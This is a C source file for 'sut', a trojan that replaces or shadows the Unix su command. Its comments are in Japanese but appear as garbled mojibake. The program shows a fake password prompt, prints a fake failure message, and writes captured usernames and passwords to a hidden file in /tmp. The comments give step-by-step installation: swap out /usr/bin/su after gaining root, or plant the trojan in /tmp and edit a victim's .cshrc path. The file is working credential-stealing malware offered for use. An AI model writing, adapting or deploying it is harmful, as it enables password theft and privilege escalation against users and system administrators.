/*------------------------------------------------------------

                    SU¥È¥í¥¤ - sut Ver 1.00

                  Programmed by £Õ£Î£Ù£Õ£Î

  ------------------------------------------------------------
*/

#include  <stdio.h>
#include  <stdlib.h>
#include  <string.h>
#include  <pwd.h>

/* °Ê²¼¤Î¥Ñ¥é¥á¡¼¥¿¤ÏOS¤´¤È¤ËÊѹ¹¤¹¤ëɬÍפ¬¤¢¤ê¤Þ¤¹
   [ÀßÄê¼ê½ç]
   %su
   Password:   <---- ¤³¤Îʸ»ú¤òMSG_INP¤ËÀßÄꤹ¤ë
   su: Sorry   <---- Password¤ò¤ï¤¶¤È´Ö°ã¤¨¤ë¡£¤³¤Îʸ»ú¤òMSG_ERR
                     ¤ËÀßÄꤹ¤ë¡£¤³¤Îɽ¼¨¤¬½Ð¤ë¤Þ¤Ç¤Î»þ´Ö(ÉÃ)¤ò
                     MSG_WAIT¤ËÀßÄꤹ¤ë
   %su hohoho  <---- /etc/passwd¤Ë¤Ê¤¤¥¢¥«¥¦¥ó¥È̾¤Ësu¤¹¤ë
   su Unknown id: hohoho <---- User̾¤¬¤Ê¤¤¤È¤¤¤¦¥¨¥é¡¼¤¬É½¼¨¤µ¤ì¤ë
                               ¤³¤Îʸ»ú¤òMSG_NOID¤ËÀßÄꤹ¤ë
*/
#define    MSG_INP      "¥Ñ¥¹¥ï¡¼¥É: "
#define    MSG_ERR      "»ÄÇ°¤Ç¤¹"
#define    MSG_NOID    "¥æ¡¼¥¶£É£Ä¤ÏÄêµÁ¤µ¤ì¤Æ¤¤¤Þ¤»¤ó: "
#define    MSG_WAIT    0

/* °Ê²¼¤Î¥Ñ¥é¥á¡¼¥¿¤ÏOS¤´¤È¡¢¤¢¤ë¤¤¤ÏÀßÄê¤Ë¤è¤Ã¤Æ
   Êѹ¹¤¹¤ëɬÍפ¬¤¢¤ê¤Þ¤¹

   [ÀßÄê¼ê½ç]
   case 1. root¤ò¥Ï¥Ã¥¯¤Ç¤­¤¿¾ì¹ç

   #which su
   /usr/bin/su  <--- ËÜʪ¤Îsu¤¬É½¼¨¤µ¤ì¤ë
   #mv /usr/bin/su /usr/local/sbin/mule  <--- ŬÅö¤Ê̾Á°¤Ç¥³¥Ô¡¼
   #cc ./sut.c <--- su¥È¥í¥¤¤ò¥³¥ó¥Ñ¥¤¥ë
   #mv ./a.out /usr/bin/su <--- ËÜʪ¤Îsu¤ÈÆþ¤ìÂؤ¨
   ¤³¤Î¤è¤¦¤ËÀßÄꤷ¤¿¾ì¹ç¤Ï¡¢
   REAL_SU¤Ï¡¢
   #define REAL_SU "/usr/local/sbin/mule"¤È¤·¤Æ¤¯¤À¤µ¤¤¡£

   case 2. °ìÈÌuser¤Î¥¢¥«¥¦¥ó¥È¤Ç»Å¹þ¤à¾ì¹ç

   %which su
   /usr/bin/su  <--- ËÜʪ¤Îsu¤¬É½¼¨¤µ¤ì¤ë¡£¤³¤Îpath¤òREAL_SU¤Ë»ØÄꤹ¤ë
   %cc sut.c -o su <--- su¥È¥í¥¤¤ò¥³¥ó¥Ñ¥¤¥ë
   %mv su /tmp/temp/ <--- ¥Ð¥ì¤Ë¤¯¤¤½ê¤Ë¥³¥Ô¡¼
   %cd ~ <--- »Å¹þ¤àuser¤Îhome¥Ç¥£¥ì¥¯¥È¥ê
   %vi .cshrc
   .chsrc¤Ïshell¤Î´Ä¶­ÀßÄê¤Ç¤¹¡£path¤ò»ØÄꤷ¤ÆÄ̾ï¤Îsu¤è¤ê¥È¥í¥¤¤Îsu
   ¤òÍ¥À褵¤»¤Þ¤¹¡£.cshrc¥Õ¥¡¥¤¥ë¤Ç¡¢
   set path=¤¬¤¢¤ì¤Ð¡¢
   set path=(. /tmp/temp /usr/bin ¡¦¡¦¡¦¸å¾Êά
   ¤Î¤è¤¦¤Ë¤·¤Æ¤ª¤­¤Þ¤¹¡£
   set path¤¬Ìµ¤¤¾ì¹ç¤Ï¡¢
   set path=(. /tmp/temp)
   ¤È¤¤¤¦¹Ô¤òÆþ¤ì¤Þ¤·¤ç¤¦¡£
  
*/
#define    REAL_SU      "/usr/bin/su"


/* ¥í¥°¥Õ¥¡¥¤¥ë¡£¸«¤Ä¤«¤ê¤Ë¤¯¤¤Ì¾Á°¤ËÊѹ¹¤·¤Þ¤·¤ç¤¦
*/
#define    LOGFILE      "/tmp/.mailer_socket"

/* ÆâÉôÄê¿ô
*/
#define    MAX_USERNAME  200
#define    MAX_PASSWD    200

main(int argc,char *argv[])
{
  char  *x;
  struct passwd *pwd;
  char  user[MAX_USERNAME];
  char  passwd[MAX_PASSWD];
  char  temp1[MAX_USERNAME],temp2[MAX_PASSWD];
  FILE  *fp;
  int    flag=0;
  int   uid=getuid();

  if (argc==1) strcpy(user,"root");
  else     strcpy(user,argv[1]);

  /* su-password¥í¥°¤ò»²¾È¤·¤Æ¡¢°ÊÁ°¤ËGet¤·¤Æ¤¤¤ì¤Ð
     Ä̾ï¤Îsu¤ò¸Æ¤Ó½Ð¤¹
  */
  if ((fp=fopen(LOGFILE,"r"))!=NULL){
    for (;;){
      if (feof(fp)) break;
      fscanf(fp,"%s",temp1);
      fscanf(fp,"%s",temp2);
      if (strcmp(user,temp1)==0){
        flag=1;
        break;
      }
    }
    fclose(fp);
  }
  pwd=getpwuid(uid);
  if (flag==1 || uid==0 || strcmp(pwd->pw_name,user)==0){
    sprintf(temp1,"%s %s",REAL_SU,user);
    system(temp1);
    exit(1);
  }  

  /* User̾¤¬ÉÔÀµ¤Ê¾ì¹ç¤Î½èÍý
  */
  if (argc>1){
    if ((pwd=getpwnam(user))==NULL){
      sleep(MSG_WAIT);
      printf("%s%s\n",MSG_NOID,user);
      exit(1);
    }
  } 

  /* Password¤òÆþÎϤµ¤»¤ë
  */
  x=getpass(MSG_INP);
  sleep(MSG_WAIT);

  /* ¥¨¥é¡¼¤òɽ¼¨¤·¤Æ¡¢¥í¥°¤ë
  */
  printf("%s\n",MSG_ERR);
  if ((fp=fopen(LOGFILE,"a"))!=NULL){
    fprintf(fp,"%s\t%s\n",user,x);
    fclose(fp);
  }
}